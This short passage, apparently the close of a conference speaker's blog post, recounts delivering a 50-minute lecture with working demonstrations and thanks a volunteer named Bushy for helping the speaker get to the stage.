I was able to deliver the entire 50 minute lecture as I intended to. My demonstrations worked. And I had a great experience.

Thank you Bushy for saving the day for me. You went above and beyond as a speaker goon and while I had no idea what I would do, I thank you for helping me get up to the stage where everything worked out.

This is one speaking experience that I will never forget.